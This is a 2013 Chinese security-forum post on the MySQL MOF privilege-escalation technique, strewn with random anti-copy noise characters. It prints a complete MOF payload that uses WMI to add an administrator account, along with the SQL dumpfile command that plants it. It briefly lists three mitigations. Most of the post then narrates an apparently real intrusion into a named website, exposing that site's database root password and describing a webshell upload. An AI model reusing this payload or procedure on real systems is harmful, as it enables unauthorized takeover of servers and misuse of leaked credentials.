找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2233|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法/ F& `$ c& }5 z6 K6 d0 I; @

4 @5 n, E. N0 {: D  D网上公开的一些利用代码:( d0 L' K6 |$ o, t* r9 D, b
* c' z- s5 W& ~! i9 `" v& G
#pragma namespace(“\\\\.\\root\\subscription”)
* g: n9 l  q; ~- g0 C6 B, j) D+ X% {0 Y+ `$ `  _# R$ ~/ M
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };; X' W9 k* C: N0 Z) y* ]% Q

4 t( n% N! K$ M/ u: H9 K% ?
! t* h, |# @( q& D! c% u  D) D8 ~% \! G' [

& o2 }5 c1 N9 \9 N
+ G9 _6 J+ X4 |: [! ~; P- ]  o连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
2 T% h( `. a$ `7 ]3 k0 V* H从上面代码来看得出解决办法:
0 p+ O2 y- x0 l# a# Q1 U& ]
7 T- ?6 ^# w8 c! U1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
6 Y8 `' |6 T, z$ v, ~% ]6 `: [8 Y( v6 o+ j3 o$ Y7 j3 l
2、禁止使用”WScript.Shel”组件2 k& P% D, n/ t1 K- m
1 s$ Z% N: a2 G, X
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
5 ?6 H* W* Z0 k" p
% p$ F7 @2 ?1 v9 T当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
* p, S: x0 W' e: X* d! u' f$ l( Y. x0 k4 |/ X& ?
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
6 T. a9 h, L/ l9 n3 o! d/ n% @& q0 Q8 o5 J$ V5 t
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容# ^7 L& q4 C0 S0 \- A+ {$ G$ X+ }" p

# v" s* ?9 F2 J$ ?0 j" c" M. C  O看懂了后就开始练手吧8 z" A8 |" }% R9 V& B7 k  g' z! l2 w

; ]; ?: U2 K. bhttp://www.webbmw.com/config/config_ucenter.php 一句话 a; X! ?& \% W3 W( p3 _+ s" D

- s3 V" ?' a. o) R, x8 f1 \$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。/ B, `' r7 k4 a- D$ D6 U- j/ B

0 j' I' R; q* _# j4 e- a' X于是直接用菜刀开搞7 x# _$ r+ v- d# e

- h+ N" u/ C0 }* A# L上马先
# S8 h* x1 U) @* o- F3 t$ i7 L+ F1 g
既然有了那些账号 之类的 于是我们就执行吧…….
. F3 S) j8 K: G0 M
5 E/ e" h  u5 \小小的说下2 U4 P0 u% ~4 E* R$ T/ F2 Z$ q" b/ w8 p

& o5 c( W% M  z在这里第1次执行未成功        原因未知
" T0 a1 m0 I8 p
+ ]2 p0 |( B3 m* U我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
4 t. j8 k: ~% @6 k
6 F, X- v  h" v3 H, g#pragma namespace(“\\\\.\\root\\subscription”)
* S2 s: S0 P( T/ W0 }
" Y( M* @9 X7 z/ j) H3 N9 Pinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
0 o4 ^% O* r3 L- I, b( m3 Y( t0 @( M2 \; c6 c# ]
我是将文件放到C:\WINDOWS\temp\1.mof
: e1 l0 |* r/ s- e* e7 D: m4 a3 F* m! A
所以我们就改下执行的代码
; R4 e- t$ y4 e! [5 p
) |- N# a0 o1 Uselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;( b; P  m  y; e$ h$ Z" R

6 T! X; Z: ~% }& {2 p& a5 w
0 T! z- S# \2 O: Y/ Y) U0 L3 w7 `7 N
但是 你会发现账号还是没有躺在那里。。( [5 J( A9 o& [, u
5 N. a/ A* g  J5 ?
于是我就感觉蛋疼5 J+ s2 ^  B6 A0 y! a
% W% ^. b. g+ S) @- N5 ?) p
就去一个一个去执行 但是执行到第2个 mysql时就成功了………# p7 c( m# Y  y
- u, j' \2 c$ U6 j/ Y& ^6 I

3 e2 z) @) e7 s4 Z4 g, X3 o- R
6 |* R9 }. Y2 ?) H. r( D! ^0 A7 j但是其他库均不成功…
( n8 }6 `- u7 T/ B( L; s! b/ R/ y; _( u
我就很费解呀 到底为什么不成功求大牛解答…$ j, l! Q* |. e$ E/ f- O2 |/ X

3 Y! K4 W9 E: Z! a8 j: o6 C8 {" ^6 M0 `& r- F5 Q' ~% u$ t* X; e

+ d/ F8 d1 O$ u2 x+ P1 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表